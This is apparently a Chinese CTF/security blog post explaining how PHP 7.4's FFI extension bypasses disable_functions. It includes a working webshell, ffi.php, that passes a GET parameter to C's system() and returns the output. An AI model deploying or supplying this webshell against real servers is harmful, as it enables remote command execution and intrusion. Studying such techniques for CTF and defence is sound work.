FFI扩展 bypass disable functions

FFI扩展 bypass disable functions

介绍

FFI(Foreign Function Interface),即外部函数接口,允许从用户区调用C代码。当PHP所有的命令执行函数被禁用后,通过PHP 7.4的新特性FFI可以实现用PHP代码调用C代码的方式,先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions

也就是说,只要目标环境中的PHP开启了FFI扩展,如果我们能上传文件或写入恶意代码到web目录中,便可以利用FFI调用C语言中的函数来执行命令,从而绕过disable functions。

核心语句为

FFI::cdef

FFI::cdef([string $cdef = "" [, string $lib = null]]): FFI
//告诉PHP FFI我们要调用的函数原型

例如,调用libcurl库函数

//curl.php
<?php
const CURLOPT_URL = 10002;
const CURLOPT_SSL_VERIFYPEER = 64;//PHP预定义好了CURLOPT_等option的值,但这里我们需要自己定义,简单的办法就是查看curl的头文件,找到对应的值,然后把值给加进去

$libcurl = FFI::cdef(<<<CTYPE
void *curl_easy_init();
int curl_easy_setopt(void *curl, int option, ...);
int curl_easy_perform(void *curl);
void curl_easy_cleanup(void *handle);
CTYPE
 , "libcurl.so"        //声明我们引用的函数来自libcurl.so动态库
 );
 ?>

这样我们就能在其它php文件中通过简单的引用来使用libcurl库中的函数了

<?php
require "curl.php";

$url = "https://www.laruence.com/2020/03/11/5475.html";

$ch = $libcurl->curl_easy_init();
$libcurl->curl_easy_setopt($ch, CURLOPT_URL, $url);
$libcurl->curl_easy_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);

$libcurl->curl_easy_perform($ch);

$libcurl->curl_easy_cleanup($ch);
?>

在CTF中使用

当我们利用webshell获得了一定的执行权限,但需要绕过disable functions时,如果对方服务器版本大于等于7.4,便可以尝试使用FFI制造命令执行

上传一个ffi.php

<?php
if(isset($_GET['cmd'])){
    $cmd=$_GET['cmd'];
    $ffi = FFI::cdef("int system(const char *command);");
    $ffi->system("$cmd > /tmp/123");       //由GET传参的任意代码执行
    echo file_get_contents("/tmp/123");
    @unlink("/tmp/123");
}
else{
    $ffi = FFI::cdef("int system(const char *command);");
    $ffi->system("/readflag > /tmp/123");       //任意代码执行
    echo file_get_contents("/tmp/123");
    @unlink("/tmp/123");
}
?>

代码逻辑非常简单

可访问该文件通过GET传参的方式传入我们想执行的命令,命令是通过C语言的system函数执行的,用这种方式绕过了disable functions。

将返回结果写入/tmp/123,并在每次读出结果后用unlink()函数删除它。


 上一篇
open_basedir详解 open_basedir详解
open_basedir详解PHP 的 open_basedir 和 disable_functions 这两个配置在web中非常常见,前几天粗浅地研究了bypass disable_functions,再来了解一下open_basedir
2021-03-08
下一篇 
初识web socket 初识web socket
简单理解socketsocket我们知道两个进程如果需要进行通讯最基本的一个前提能能够唯一的标示一个进程,在本地进程通讯中我们可以使用PID来唯一标示一个进程,但PID只在本地唯一,网络中的两个进程PID冲突几率很大,这时候我们需要另辟它径
2021-03-07
  目录